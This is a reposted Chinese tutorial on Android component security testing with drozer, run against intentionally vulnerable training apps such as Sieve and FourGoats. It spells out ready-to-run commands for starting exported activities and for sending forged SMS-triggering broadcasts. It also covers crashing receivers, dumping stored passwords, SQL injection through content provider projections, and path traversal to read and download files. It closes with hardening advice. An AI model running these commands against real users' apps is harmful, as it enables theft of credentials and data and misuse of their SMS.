利用drozer简单测试安卓四大组件

您所在的位置:网站首页 劫持测试 利用drozer简单测试安卓四大组件

利用drozer简单测试安卓四大组件

2024-07-11 23:39| 来源: 网络整理| 查看: 265

留下了没有技术的眼泪 0x00 常用命令方法和流程 手机打开drozer agent,开启服务 端口转发 adb forward tcp:31415 tcp:31415 在安装目录开启drozer drozer console connect 获得包名 run app.package.list -f 包名 查找攻击面 run app.package.attacksurface 包名 查看activity组件 run app.activity.info -a 包名 调用activity组件 run app.activity.start --component 包名 组件名 测试activity劫持 查看Broadcast组件 run app.broadcast.info -a 包名 打开手机日志 adb logcat 发送恶意广播 run app.broadcast.send --component 包名 广播名 --extra string phoneNumber 222,在手机日志查看 拒绝服务,空action run app.broadcast.send --component 包名 广播名,空extras run app.broadcast.send --action 广播名 查看Services组件 run app.service.info -a 包名 调用服务组件 run app.service.start --action 服务名 --component 包名 服务名 查看Content组件 run app.provider.info -a 包名 信息泄露,访问所有URL run scanner.provider.finduris -a 包名,查询URL的数据 run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ SQL注入(还是看详情吧) 读取系统文件 run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 下载系统文件 run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db d:/database.db 目录遍历 run scanner.provider.traversal -a 包名 0x01 四大组件

Activity(界面):通常展现为一个可视化的用户界面。 Service(服务):无用户界面,但它会在后台一直执行。 Broadcase receiver(广播接收器):无用户界面,能够启动一个 activity 或 serice来响应它们收到的信息,或者用 NotificationManager 来通知用户。 Content provider(内容提供者):主要用于在不同应用程序之间实现数据共享的功能。

0x02 准备环境 1.drozer下载地址:

https://pan.baidu.com/s/1hGj9BDex4JZNr7u74Dt4jg 这是整合了Python27的,解压缩直接安装即可,agent.apk需要安装到模拟器或者手机里面。

解压缩后 被用来测试的APK(里面各种安卓漏洞)下载地址: 链接:https://pan.baidu.com/s/1oE3s04tXmIEWMW_9UbyLAQ 提取码:zjm1

2.其他环境

(1)adb下载地址https://pan.baidu.com/s/1b-gqxqsYdcTdInILa8bS4A(需要配置环境变量将安装目录放到PATH里面) (2)JDK下载地址https://www.oracle.com/technetwork/cn/java/javase/downloads/jdk8-downloads-2133151-zhs.html(同上) (3)推荐一下吾爱破解的爱盘,里面的测试工具很多,找不到可以去里面搜索,感谢各位大表哥。https://down.52pojie.cn

0x03 准备测试 1.手机或者模拟器端

安装drozer Agent,打开开启服务,开启调试模式(模拟器不需要开启)

手机 2.电脑端

(1)打开cmd,输入adb devices 查看连接的设备 (2)进行端口转发 adb forward tcp:31415 tcp:31415

adb

(3)到drozer安装目录下面,运行 drozer console connect

drozer 如果出现Could not find Java Java问题 1).可能Java环境变量没有配好,在cmd输入Java时出现,说明没问题; Java

2).在drozer目录下建立名为 .drozer_config 的文件,添加如下内容

[executables] java=C:\Program Files\Java\jdk1.8.0_151\bin\java.exe javac=C:\Program Files\Java\jdk1.8.0_151\bin\javac.exe

Java的安装目录需要自行更改,安装位置一般如上,可自行查找,可能版本号略有不同;可能无法创建文件,可以先创建1.drozer_config,利用命令行 rename 1.drozer_config .drozer_config

0x04 组件测试 1.获得包名(package_name是测试的包名)

run app.package.list -f package_name 比如你知道包的一部分,就可以run app.package.list -f low(-f后面的package可以只是包名的一部分)

run app.package.list也可以直接查看全部应用从里面查找 再不行,可以直接用Android Killer获得的,跳过了这一步 包名

2.查找攻击面

run app.package.attacksurface package_name

攻击面 发现有 6个 activities,12 个broadcast receivers ,0个 content providers,5个 services exported。

3.activity 组件测试 (1)查看activity组件信息

run app.activity.info -a package_name

Activity组件详情

(2)调用暴露的activity组件

run app.activity.start --component package_name com.lp.patchActivity patchActivity会启动主界面; 一般activity组件只会暴露一个程序启动界面,在暴露其他的就属于组件暴露,有安全隐患。

(3)Activity劫持

工具不方便提供,请自行百度 1.获取要劫持的应用; 2.劫持服务开始; 3.将程序放到后台,打开刚才选择要劫持的应用; 4.出现下图界面,说明劫持成功。

劫持成功 4.Broadcast Receivers 组件测试 (1)查看Broadcast组件信息

run app.broadcast.info -a package_name

(2)调用组件,测试发送恶意广播包

需要dex2jar反编译,利用jd-gui查看源代码,在源代码中查看广播名,一般只查看广播名的后半段,例如图中的PackageChangeReceiver(也可以直接用Android Killer查看)

举例1 FourGoats.APP

查看AndroidManifest.xml 文件,receiver 的 exported 设置未进行设置,说明可以发送恶意广播。

再查看源代码,可以看到源代码参数phoneNumber和massage,会发送Your text message has been sent!

发送恶意代码 run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 1111 --extra string message aaaa 注意,这里的--action后面的不是广播名,而是查看AndroidManifest.xml 文件得到的。 也可以用下面这样的语句,这里的广播名,就是查看广播信息后得到的。 run app.broadcast.send --component 包名 广播名 --extra string phoneNumber 222 --extra string message abc

举例2 Vul_BroadcastReceiver.APP

在 在新的cmd 窗口查看手机的 Log 日志 adb logcat

打开Vul_BroadcastReceiver.APP,输入任意值,点击Send,就可以在Log日志里面查看到信息。

查看Java源代码,参数为number

发送恶意广播包,在drozer上运行 run app.broadcast.send --component com.isi.vul_broadcastreceiver com.isi.vul_broadcastreceiver.MyBroadCastReceiver --extra string number 66666

说明存在安全隐患。 当然例一也可以用例二中的方法查看

恶意广播代码 run app.broadcast.send --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver --extra string phoneNumber 1111 --extra string message aaaa

当然例二也可以用例一中的方法查看 查看源代码,代码意思就是向number发送一条短信,短信的内容为“Hi, Your Registration has been confirmed” 测试可以真实手机,可以发送短信的手机,将number设为自己手机号。 run app.broadcast.send --component com.isi.vul_broadcastreceiver com.isi.vul_broadcastreceiver.MyBroadCastReceiver --extra string number 17*********

(3)调用组件,拒绝服务攻击

拒绝服务分两种空 actoin 和空 extras 空action run app.broadcast.send --component 包名 广播名

空extras run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS

5.Services组件测试 (1)查看Services组件信息

run app.service.info -a package_name

上面显示服务均为引用外部服务,如果引用外部组件,一般不测试;内部服务一般为包名加服务名。

(2)调用内部服务组件

run app.service.start --action 服务名 --component 包名 服务名 可以先查看服务是干嘛的,了解服务是干嘛的再测试。

6.Content 组件测试(内容提供者)

需要用到的测试app--sives.apk

(1)查看组件信息

run app.provider.info -a 包名

(2)信息泄露利用

获取所有可以访问的URL run scanner.provider.finduris -a 包名

查询Passwords数据 run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/

当然能查询到数据,前提是你通过sieve.app录入数据了

(3)SQL 注入

先进行简单的注入检查 run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*" 列出所有的表信息 run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

查看表的内容 run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

也可以直接进行注入点扫描,查找存在注入的点 run scanner.provider.injection -a com.mwr.example.sieve

列出该app的表名 run scanner.provider.sqltables -a com.mwr.example.sieve

(4)系统文件读取和下载

读取系统文件,有可能会不成功 run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

下载系统文件到本地 run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db d:/database.db

(5)目录遍历

run scanner.provider.traversal -a com.mwr.example.sieve

总结: 当组件为私有组件时,建议设置 exported 的值为 false(exported查找方法,搜索android:exported); 当 组件为公有组件时,建议对其进行权限控制。

文章哪里写的不详细,不用想,那里我也不懂

参考链接: 1.Drozer 官方网站工具 2.Drozer 官方使用指南 (中文版) 3.安卓四大组件审计实验(drozer) 4. drozer 工具的安装与使用:之一安装篇 5.Android 开发四大组件概述 6.Android 一一 简述 Android 四大组件 7.Android安全测试框架Drozer(使用篇) 8.drozer模式命令大全 9.Android 中的组件安全漏洞介绍和检测



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3